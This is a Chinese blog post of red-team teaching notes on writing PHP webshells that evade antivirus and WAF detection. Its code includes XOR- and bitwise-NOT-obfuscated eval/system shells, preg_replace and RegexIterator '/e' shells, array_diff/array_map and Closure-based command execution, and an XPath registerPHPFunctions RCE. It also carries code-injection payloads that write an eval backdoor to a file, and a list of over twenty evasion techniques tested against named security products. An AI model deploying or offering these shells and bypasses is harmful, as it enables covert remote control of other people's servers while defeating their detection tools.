phpwebshell从基础到深入变种

php

1
2
3
4
5
6
7
8
9
10
11
12
13
先讲讲什么是大码 小马 小马拉大码 一句话木马
C:\Users\e'e't\Desktop\红队安全开发\免杀马的制作\php\备课
先讲讲几个重要的php函数的作用
C:\Users\e'e't\Desktop\红队安全开发\免杀马的制作\php\备课
然后讲讲几个shell脚本被杀的病因
然后讲讲22个免杀方法
然后讲讲手动免杀之路
1.查病因并进行绕过 2.根据网上的php免杀码进行拼接 3.通过对上面22个免杀方法的拼接 4.自创 另辟蹊径 找寻独特的函数 或者新的php版本的函数
5.看到一些大佬的测试文章 但是没有提供木马 自己去写一个

最后讲讲后续
1.讲讲常见webshell特征分析C:\Users\e'e't\Desktop\红队安全开发\免杀马的制作\php\免杀基础-常见Webshell特征分析.lnk
2.C:\Users\e'e't\Desktop\红队安全开发\免杀马的制作\php\目录下的几个文章

位置:C:\Users\e’e’t\Desktop\沙箱\被杀马\php\shell.php

Shell01.php

image-20220514174741468

这个特征感觉有两个

一个是主要的是时间问题,它是一个在野较长的冰蝎码(大概率是这个原因)

第二个是因为它利用的openssl的AES加密 再加上使用了eval函数,造成查杀?(小概率是这个原因)

Caidao01.php C:\Users\e’e’t\Desktop\沙箱\被杀马\php\caidao01.php

image-20220514174805295

这个码可以过d盾和安全狗。但是不能过火绒

但是火绒杀毒都不会说出问题在哪

我们先分析它

不再使用eval而改用assert。(这是个优点)

使用了destruct析构函数

析构函数的作用和构造函数正好相反,析构函数只有在对象被垃圾收集器收集前(即对象从内存中删除之前)才会被自动调用。析构函数允许我们在销毁一个对象之前执行一些特定的操作,例如关闭文件、释放结果集等。

在 PHP 中有一种垃圾回收机制,当对象不能被访问时就会自动启动垃圾回收机制,收回对象占用的内存空间。而析构函数正是在垃圾回收机制回收对象之前调用的。

在 PHP 中析构函数并不是很常用,它属于类中可选的一部分,只有需要的时候才在类中声明。

所以这个函数可能是造成被杀的特征之一

Call_user_func和序列化和反序列化也是造成的原因之一

还有就是$_POST[]被完整写出来了,这个原因之一

然后套用一些最近好用的phpshell的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
//没时间将 只讲方法 让他们去百度
\1. 就是加密解密、进制转换

\2. 序列化反序列化

\3. 用加密进行加壳

\4. 自增、异或、取反

\5. 取数组交集

\6. 一些函数

uopz_function()

uasort() 使用用户自定义的比较函数对数组按键值进行排序

uksort() 和uasort()一样,不过在输出的时候会进行每两个对调

array_uintersect_uassoc() 比较键值返回交集

array_udiff_assoc() 比较函数返回差集

array_map

\7. php反射机制获得注释的字符php

\8. 回调函数 魔术方法__invoke制作回调函数

\9. 缓存写webshell

\10. 正则匹配绕过

\11. 匿名函数

\12. 函数取别名use function \create_function as a;

\13. 利用数组转换需要的函数

\14. 利用全局变量遍历获取想要全局变量

\15. 利用自定义类加载public function payload()

\16. https://www.php.net/manual/zh/language.oop5.magic.php魔术方法

\17. 远程文件包含GetShell,只要把webshell写入txt文件,远程包含一下就可以getshell

\18. 设置环境变量存储关键参数

\19. 变量覆盖 extract parse_str

\20. null 拼接 '' 拼接 '' null 拼接

\21. 命令函数system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反单引号),ob_start

\22. 代码执行函数 Eval和Assert substr()字符串变形 strtr() 函数转换字符串中特定的字符 函数绕过 把关键词当作参数选递

\23. 类的继承机制

\24.类型转换打断检测引擎正常执行

\25.没死透的正则

\26.phpyin'y

\27.~(按位取反

这里只用POST是因为POST兼容比较大。

像蚁剑就只兼容POST

escapeshellarg为密钥加‘’

首先我们要确定我们的执行命令函数

常见的eval和arrest肯定是不行的

可以使用反引号进行命令执行。但是这种方法需要受害机php关闭安全模式和打开shell_exec()

然后就是我们webshell中的拼接函数

选小众的就完事了

先试试uksort()

期间每一步操作我都是做一步查杀一下。做一步查杀一下。以防止特征查杀

当然我觉得没有。更多的是逻辑查杀

①. *通过自增得到关键字,然后定义类,类内函数自调用来进行bypass。*

这里使用proc_open

可是proc_open使用较为困难

因为它是使用建立通道,再建立程序运行的方法。代码较为难写,

但就是这样,防杀能力更强

而且发现大部分市面上的webshell都没有使用proc_open这个函数

只可惜后面查阅发现proc_open这个函数适用于反弹shell

就没有办法作用于webshell了吗

我们写看一下proc_open的用法image-20220514175031553image-20220514175045771

这里有个疑惑点。这段代码使用的是直接输入命令ipconfig

而我们的目的是上传一个webshell,但是在这里的用法看来是主动运行命令。

这样的话我们确实可以利用这个去执行命令。

比如执行echo一个webshell到新的php文件。

但是这样有违我们的初衷。我们要做的是进行webshell的免杀。如果这样嵌套一个新的webshell的话。还需要对webshell进行免杀

那有没有做成webshell的方法吗?

暂时没找到方法

C:\Users\e’e’t\Desktop\沙箱\被杀马\php\1.php

image-20220514175105475

继续用我们的“22(代码执行函数)”吧

把上面哪个红框换成arrest或者eval

过狗还是相当容易的。但是过火绒不行

①. *可以利用php的反射机制,获取注释的内容,然后拼凑出assert,从而动态执行*

image-20220514175157641慢慢调试image-20220514175216436

接下来就是在_POST前加上$和在其后加上[‘a’]image-20220514175225919

接下来就是拼接调用image-20220514175232715

参考大佬 用到了@$assret($a=$a); $a=$_POST[‘a’]image-20220514175240798image-20220514175248462

火绒过了?

难以置信image-20220514175258189

果然有问题

==不能执行的话就别讲免杀了!!!==

看看问题出现在哪

我感觉是@$assret($a=$a);用不了了

现在我们可以肯定的是

$dd = assert

$ee = $_POST[‘a’]

image-20220514175317743image-20220514175321511

我感觉是因为我在写的时候是没把它实例化出来

就是说得写个function去执行它

不然系统会认为它是个文本image-20220514175353403image-20220514175359311

有报错说明是好事

t_variable是PHP的一种内部标识,通常用在错误信息中。

出现该错误是因为在不该出现变量的地方出现了变量,或者变量名不合法。

就是说$dd后不能再加一个变量image-20220514175411525

再次访问image-20220514175418482

有点问题

直接改成$_REQUEST[‘x’]试试image-20220514175426386image-20220514175430862

反引号无敌、用反引号试试image-20220514175439263

再加个print扰乱一下规则image-20220514175446391

= = = == = = = == == === = = = == = =

自闭

是不是我这个方法不对?

不能$dd和$ee只能用一个?

网上很多都是只用一个

那就写一个试试

image-20220514175455253image-20220514175505265

image-20220514175510842无语 不搞了 要学会放弃 下一个

*③**静态函数调用普通函数,或者普通函数调用静态函数。**(**冰蝎码启发**)**:其他类静态函数();*

*⑤**我们可不可以把webshell隐藏在多个正常的php文件中形成一个调用链,当然这种形式已经跳出了上传的场景,更加偏向于权限维持。我们也可以将webshell隐藏在php扩展中来绕过一些限制敏感函数执行的场景。其实这个思路已经有很多大佬做过了。也有一些开源的东西。*

*⑥使用脚本把免杀shell中的函数名,类名,以及变量名进行随机化处理。把敏感函数eval,assert进行异或处理*

不建议异或处理。现在大部分异或处理已经很难过杀了

*⑦函数+异或*

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

$num = array(81,64,87,83,70,87,109,84,71,92,81,70,91,93,92);

$xor_key = 50; // xor key

foreach ($num as $key => $value) {

$num[$key] = chr($num[$key] ^ $xor_key);

}

$a = implode($num);

// create_function组合

function v($param, $a){

return $a("",$param);

}

$param = "";

// 规避$_POST报毒

foreach ($GLOBALS as $key => $value) {

if($key == '_POST'){

$param = $$key;

$param = $param['x'];

}

}

$b = v($param, $a);

$b();

?>

image-20220514175633860image-20220514175641032image-20220514175649463

异或太难了。可以说是即难又很不容易过waf的方法

*⑧利用空格和tab数构造字符*

Pro版:如果将空格与 tab 分别用 2 个不同的不可见字符替换

就是unicode的17B4和17B5,这两个字符大部分不可见

大佬有些相关的脚本(使用的话必须php文本够长,不够的话脚本会自动填充,造成底部产生很多空格)

*⑨传统的绕过最终都会进行语法解析;**但是如果语法报错的话,就可能导致解析失败了**;**就可以利用这个来执行命令*

参考………….

先基础的

1.利用\特殊符号来引起报错

环境php5.2可以执行

其他的都不行

image-20220514175732389

2.高版本php语法不换行来执行命令

1
2
3
4
5
6
7
8
9
<?=

$a=<<< aa

assasssasssasssasssasssasssasssasssasssasssassss

aa;echo `whoami`

?>

适合7.3

image-20220514175751646
  1. 利用php不同版本十六进制来进行报错

在php7中不认为是数字,php5则依旧为数字
经过测试 5.3 和5.5可以成功执行命令,5.2和php7无法执行

1
2
3
4
5
6
7
<?php

$s=substr("aabbccsystem","0x6");

$s(whoami)

?>

image-20220514175843672

这里我们就用高版本的来image-20220514175852310

连接看看image-20220514175902103image-20220514175906786

看一下D盾image-20220514175916398

太直接了

接下来就是免杀

我们先用marcr0phag3大佬的字符转空白脚本试一下image-20220514175929481

用不了

这个脚本的payload格式只能是命令执行函数。不难添加其他的

那我们使用它本来那个payload看下怎么样image-20220514175939627

还是报错??

那就不搞这个了 尝试别的免杀image-20220514175948368image-20220514175954812image-20220514180003972

好的变成1了 基本上这个时安全狗都是直接过

提示我们内藏变量函数$str

那我们看一下能不能用别的字符去替代$strimage-20220514180013243image-20220514180018291image-20220514180023934

改名字也没用

这就证明了这个是被逻辑查杀的

需要用其他方法

直接用环境变量image-20220514180034259

D盾免杀image-20220514180042544image-20220514180050170image-20220514180056582

火绒也过 真爽!

对于关键词的后传入对免杀安全狗,d盾,河马 等等都是不错的,后期对于菜刀的轮子,也要走向高度的自定义化 用户可以对传出的post数据进行自定义脚本加密,再由webshell进行解密获取参数,那么以现在的软WAF查杀能力 几乎为0

php后续

免杀基础-常见Webshell特征分析

C:\Users\e’e’t\Desktop\红队安全开发\免杀马的制作\php

冰蝎webshell免杀

直接拿冰蝎码去除好特征后(直接打开备课的链接)拿到

C:\Users\e’e’t\Desktop\红队安全开发\免杀马的制作\php\加密网站 全打勾

不过只有在php7.0的时候可以解析

分析别人的代码

1.php

传入参数c和d,array_map函数作用将作为函数,array作为参数,构造paylaod

1
?c=assert&d=system(%27ls%27);

2.php php5.3.3

create_function 函数会创建一个匿名函数(lambda样式),在第一个echo中显示出名字,并在第二个echo语句中执行了此函数。

1
$b = create_function('',$a);

这里$a为函数,’ ‘为参数

那么可以看作为

1
2
3
function lambda(){
echo ' ' ;
}

传入payload

1
b= ;}phpinfo();/*

在function函数中即

1
2
3
function lambda(){
echo ' ' ;}phpinfo();/*
}

后面的内容注释掉了,即执行命令图片

3.php

跟上面一样,虽然有一点变形,但是再$b的打印上没有特殊之处,所以payload:

1
d=1;}system(%27ls%27);/*

4.php

没什么特别之处,assert直接作为函数执行,payload:

1
?b=system(%27ls;%27)

5.php

*call_user_func()*函数的特点,知道后面的后面的*为参数,前面的*a**为函数即可

1
?b=system&c=whoami

6.php

基本上属于3的内容加强版,重点就是需要进行闭合,,代码变多了,payload没有出入,重点还是再**$code**的位置

1
?a=1;}system(%27ls%27);/*

7.php

属于加强版本,**$sort_function的内容进行闭合,也就是sort_by**的参数值要实现闭合,构造payload:

1
?sort_by=%27"]);}system(%27whoami%27);/*

8.php

1
?a=<?php%20@eval($_POST[a]);%20?>%20>2.php

一句话木马写入2.php

也有其它解法直接进行命令执行。

手动带他们进行分析

20220405.php

1
2
3
4
5
6

create_function()用于在PHP中创建匿名(lambda-style)函数。可用于代码注入
array转化成数组
@extract把客户端表单中的变量名取出来
hello 写在闭合之后让php解析不了以为这个是个非php文件

image-20220523172916521看不出来image-20220523173415568

证明我们直接写的b就是引用了 create_function(null,fun2());image-20220523173645546

所以这个array是解析不出来引用的create_function,所以这个就需要extract的注释。而这个extrct估计就是来绕过的image-20220523174231931

因为extract的原因所以看不了

根据p神文章自写木马

利用修饰符e php5.6.40

PHP旧版本的preg类函数中存在一个修饰符 e ,==增加了这个修饰符后,替换后的结果将会被放进eval执行==。利用这个方法,即可构造一个不带eval关键字的Webshell,比如:

1
preg_replace('/.*/e', '\0', $_REQUEST[2333])

其实原理很简单,我们查看PHP文档可以发现, preg_replace 的第一个参数是支持传入字符串或数组的:image-20220523175432082

而我猜测检测引擎后端是只考虑了字符串的情况。所以,我使用下面这个简单的样本就绕过了QT引擎:

111.php?2=phpinfo();

1
<?php preg_replace(['/.*/e'], '\0', $_REQUEST[2]);
1
2
3
4
5
6
preg_replace 函数执行一个正则表达式的搜索和替换。
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。

image-20220523204153105

那么我们也可以利用e修饰符。

样本简化之后如下:==php 5.6.9==

1
2
3
4
5
6
7
8
9
10
11
<?php 

$a=new ArrayIterator([$_GET["cmd"]]);

$i=new RegexIterator($a,$_GET["regexp"],RegexIterator::REPLACE);

$i->replacement='$0';

iterator_to_array($i);

?>

222.php

?cmd=phpinfo();&regexp=/(.*)/eimage-20220523195317562

原理很简单, php 将各类 preg 函数包装成了一个正则的迭代器类image-20220523192234575

从底层代码上看,当 RegexIterator 的操作模式为 RegexIterator::REPLACE 时会和

preg_repalce 一样,会走到 php_pcre_replace_impl 来处理正则表达式,如果正则表达式中有e修

饰符会走到 preg_do_eval 进行命令执行

RegexIterator :https://github.com/php/php-src/blob/83610987046d5a5ffea2777853d4a4f2d3313387/ext/spl/spl_iterators.c#L1922

preg_repalce :https://github.com/php/php-src/blob/c0d890e918ff7b4212ef5a2e118a165f2c8eda39/ext/pcre/php_pcre.c#L1156

PS:这类利用方法还有 RecursiveRegexIterator ( RegexIterator 的子类)

类型转换打断检测引擎正常执行

333.php

1
$cmd = ['banana', 'orange', ...$_GET[1], 'watermelon']; 1

image-20220523194613984因此我猜测可能在动态检测的时候由于⽆法知道参数的值,动态执⾏的时候也会爆出此错误,导致代码

不能执⾏下去,so如果我们可以找到其他的⽅法,通过传⼊参数的差异来打断动态执⾏,应该就可以绕

过,我的思路是通过过set_error_handler捕获warrning抛出致命错误,

?x=1&1=id

php引用 php<8

其实这个问题最早在20多年前就被开发者提出了:https://bugs.php.net/bug.php?id=6417,并且在后面几年一直有开发者在 php-bug 和手册的 note 中提及:

https://bugs.php.net/bug.php?id=6417

https://bugs.php.net/bug.php?id=7412

https://bugs.php.net/bug.php?id=15025

https://bugs.php.net/bug.php?id=20993

https://www.php.net/manual/zh/language.references.php

直到 php8 该“问题”还是依旧存在,没有修复的原因是因为 PHP 官方不认为是一个 bug ,并给出的解释

是:

由于 PHP 内部工作的特殊性,如果对数组的单个元素进行引用,然后复制数组,无论是通过赋值还是通

过函数调用中的值传递,都会将引用复制为数组的一部分。这意味着对任一数组中任何此类元素的更改

都将在另一个数组(和其他引用中)中重复,即使数组具有不同的作用域(例如,一个是函数内部的参

数,另一个是全局的)!在复制时没有引用的元素,以及在复制数组后分配给其他元素的引用,将正常

工作(即独立于其他数组)。

444.php

1
<?php $a=array(1 => "A"); $b=&$a[1]; $c=$a; $c[$_GET["mem"]]=$_GET["cmd"]; eval($a[1]); ?>

?mem=1&cmd=phpinfo();image-20220523195127231

pcre_get_compiled_regex_cache 函数

我很快关注到了这个 pcre_get_compiled_regex_cache 函

数,这个函数用于处理 preg_replace 的第一个参数

555.php?2333=phpinfo();image-20220523200242323

我省略了很多,因为这些代码前面的注释足以说明他们的作用。

第一段注释,说明了解析正则的时候会忽略掉正则前面所有的空白字符

第二段注释,说明delimiter不能是字母、数字或者反斜线。

30delimiter就是正则里的分隔符,比如 /.*/e 这个正则,它的delimiter是 / 。很显然,delimiter是

有两个的,分别是start_delimiter和end_delimiter。

第三段注释,当 start_delimiter == end_delimiter 时,分隔符只有一个符号。

第四段注释,当 start_delimiter != end_delimiter 时,分隔符有两个符号。

第四段就是有趣的点了,我们平时日常开发或审计的过程中,通常遇到的正则表达式分隔符,要不就是

斜线 / ,要不就是竖线 | ,也有见过井号 # 、波浪线 ~ 之类的,但甭管怎样他们都属于

start_delimiter == end_delimiter 这种情况。

但PHP的正则是支持使用“括号”这种成对出现的符号作为分隔符的,只要正则两侧的分隔符能够组成一对都是合法分隔符,比如:

image-20220523200531695这种比较奇葩的正则表达式分隔符,如果Webshell检测引擎没有正确地进行解析,就有可能被绕过。

1
2
3
<?php 

preg_replace('<.*>e', '\0', $_REQUEST[2333]);

以在多个修饰符间,添加一些没意义的空白字符

实际上是阅读底层函数 pcre_get_compiled_regex_cache 的代码,来到后面一个while循环中:

这个switch语句显然就是用来处理各种修饰符的。

可以观察到,switch里对空格和换行进行了匹配,如果遇到这两个字符直接break忽略,进入下一次循环

也就是说,我们可以在多个修饰符间,添加一些没意义的空白字符,比如:

1
2
3
4
5
<?php 

$data = "/.*/\ne\n\n is\n ";

preg_replace($data, '\0', $_REQUEST[2333]);

666.php?2333=phpinfo();

RegexIterator 这个类

这个SPL类用于将一个普通迭代器变成一个具有正则功能的迭代

器。而正则的模式、方法等都是可以在这个类对象中指定的。

1
2
3
4
5
6
7
8
9
<?php 

$i = new RegexIterator(new ArrayIterator($_REQUEST[2333]), '/.*/e',

RegexIterator::REPLACE);

$i->replacement = '$0';

foreach ($i as $a) {}

这种是连不了的 因为这个函数没有回显 request就是在封装的时候用的 当get和post 不能用的时候可以用request

如果你要当成连接的话 就需要使用eval 那就要做eval的免杀 那还用这个干嘛

666.php 多重异或

PHP代码下面的“^”是异或运算符,按二进制位进行异或运算(XOR)

1
2
3
4
0 ^ 0 = 0;
1 ^ 1 = 0;
0 ^ 1 = 1;
1 ^ 0 = 1;

C:\Users\e’e’t\Desktop\红队安全开发\免杀马的制作\php\备课\20220523写\666.php
多次异或过waf 基本上配合其他方式二次开发 都能image-20220524160427493

按位取反

image-20220524161253443

这么明显的一句话 只爆了一级。
我们在随便加个函数调用一下image-20220524161427601

image-20220524163432377

  • 2.momek9fW的对应base64解密值为:eval(),因为双引号括起来的字符串会被先解译一遍,你当时没传入值,所以$_GET[0]为空。2.base加密的那一串是作为后面完整的php语句来执行的,结束得加一个;,不然会报错。这样改:echo(base64_encode(~’eval($_GET[0]);’));除了一些小细节作者没处理好之外,单论免杀思路还是不错的。

单纯知识因为D盾更新遇到base加密的都会报错 那么完全可以配合其它方法 或者使用自己写的加密解密脚本

最后在放到加密网站加密一下就行

20220811补充

现如今的情况下,传统的Webshell检测对于0day样本的检测效率已经不是特别好了,所以这时候就需要一种”主动”的检测方式,能够让引擎主动去理解脚本、分析样本,发现样本中的恶意行为,而不是依靠人工来添加Webshell特征。

1、污点追踪

举个例子,对于一个Webshell来说,如果要进行任意命令执行,就一定要获取外界数据,对于PHP来说也就是$_GET、$_POST来接受数据,而要想任意命令执行,这些接收到的数据也就一定要最终传递到eval、system等函数中,而污点追踪技术就是利用这一点,如果样本中的外界变量通过不断传递,最终进入到危险函数中,那基本上就可以断定为Webshell,将外界变量视为污点源,危险函数视为污点汇聚点,跟踪污点传播过程,判断污点变量是否被洗白,最终是否进入污点汇聚点,画一个流程图如下:

图片

2、词法分析

检测引擎会将各种脚本语言进行词法语法分析,然后构建控制流图和数据流图,并在图上跟踪外界污点变量的传递,使用外界变量是WebShell非常重要的特征,如果发现外界变量最终进入了命令执行函数,就可以判断为Webshell。

图片

我们要知道原理就可以想办法如何“蒙骗“住检测引擎,如果大家研究过,或者说亲身参与到了bypass挑战赛中,就能感受到无论是动静态还是什么技术,最后都是根据污点追踪法则来进行检测,污点追踪的流程在上一节提到了,目前我们有两个方法:

1、利用PHP中其他的命令执行的方法,让检测引擎识别不出这是污点汇集点

2、打断污点追踪的过程,让污点汇集点不落地

前面的很多下项目也是根据这两个方法

样本一

1
2
3
4
5
6
<?php
//ASRC伏魔引擎bypass
$result=array_diff(["s","a","b","ys","te","m"],["a","b"]);
$a=join($result);
array_map($a,(array)$_REQUEST['1']);
?>

首先我们需要利用技巧(PHP本身的特性),来阻断污点追踪的过程,我在fuzz测试的时候发现了array_map()这个函数==存在callback并且能够逃避检测==

图片

那么首先的能够bypass的污点汇集点已经有了==,接下里来就是寻找其他函数来将变量”洗白==”,我选择了array_diff()图片

这样就可以==利用该函数拼凑出一个system函数==,再==利用array_map()的callback====来做命令执行==

这样就完成了最简单的一次bypass

样本2

1
2
3
4
5
<?php
//bypass 牧云 文件名需要设置为system
$filename=substr(__FILE__,-10,6);
$command=$_POST[1];
$filename($command);

__FILE__是PHP的一个魔术常量,它会返回当前执行PHP脚本的完整路径和文件名,我们利用substr()函数逆着截取,就能获得system再利用变量做函数的方式,打断了污点追踪的过程,进行命令执行,也可以成功bypass掉牧云引擎。

样本3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//bypass 牧云 and TAV反病毒引擎+洋葱恶意代码检测引擎
classA{
publicfunction__construct(){}

publicfunction__wakeup(){
$b=$_GET[1];
$result=array_diff(["s","a","b","ys","te","m"],["a","b"]);
$a=join($result);
Closure::fromCallable($a)->__invoke($_REQUEST[2]);
}
}

@unserialize('O:1:"A":1:{s:10:" A comment";N;}');

这个套了一层反序列化,隐藏污点汇集点的方法与样本一相同,利用数组差级构造system后利用原生类Closure的fromCallable函数

图片

进行命令执行(在牧云中array_diff([“s”,”a”,”b”,”ys”,”te”,”m”],[“a”,”b”]);这种方式会被check,索性换成动态控制,这样也能打断污点追踪)

样本4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
// dom and xml needed, install php-xml and leave php.ini as default.
// Author:LemonPrefect
$cmd=$_GET[3];
$_REQUEST[1] ="//book[php:functionString('system', '$cmd') = 'PHP']";
$_REQUEST[2] = ["php","http://php.net/xpath"];
$xml=<<<XML
<?xml version="1.0" encoding="UTF-8"?>
<books>
<book>
<title>We are the championstitle>
<author>LemonPrefectauthor>
<author>H3h3QAQauthor>
book>
books>
XML;

$doc=newDOMDocument;
$doc->loadXML($xml);
$clazz= (newReflectionClass("DOMXPath"));
$instance=$clazz->newInstance($doc);
$clazz->getMethod("registerNamespace")->getClosure($instance)->__invoke(...$_REQUEST[2]);
$clazz->getMethod("registerPHPFunctions")->invoke($instance);
$clazz->getMethod("query")->getClosure($instance)->__invoke($_REQUEST[1]);

该样本需要一些条件,前提是开启了php-xml拓展才可以,其原理就是用XML去注册一个registerPHPFunctions,也就是我们想要执行的system再利用getClosure去触发该方法而构成的webshell,其中即利用到了PHP的特性,利用registerNamespace和registerPHPFunctions来中断污点追踪,从而RCE

==打断污点追踪前执行函数就要设定好,之后再拼接==


phpwebshell从基础到深入变种
http://example.com/phpwebshell从基础到深入变种.html
Author
CDxiaodong
Posted on
August 18, 2022
Licensed under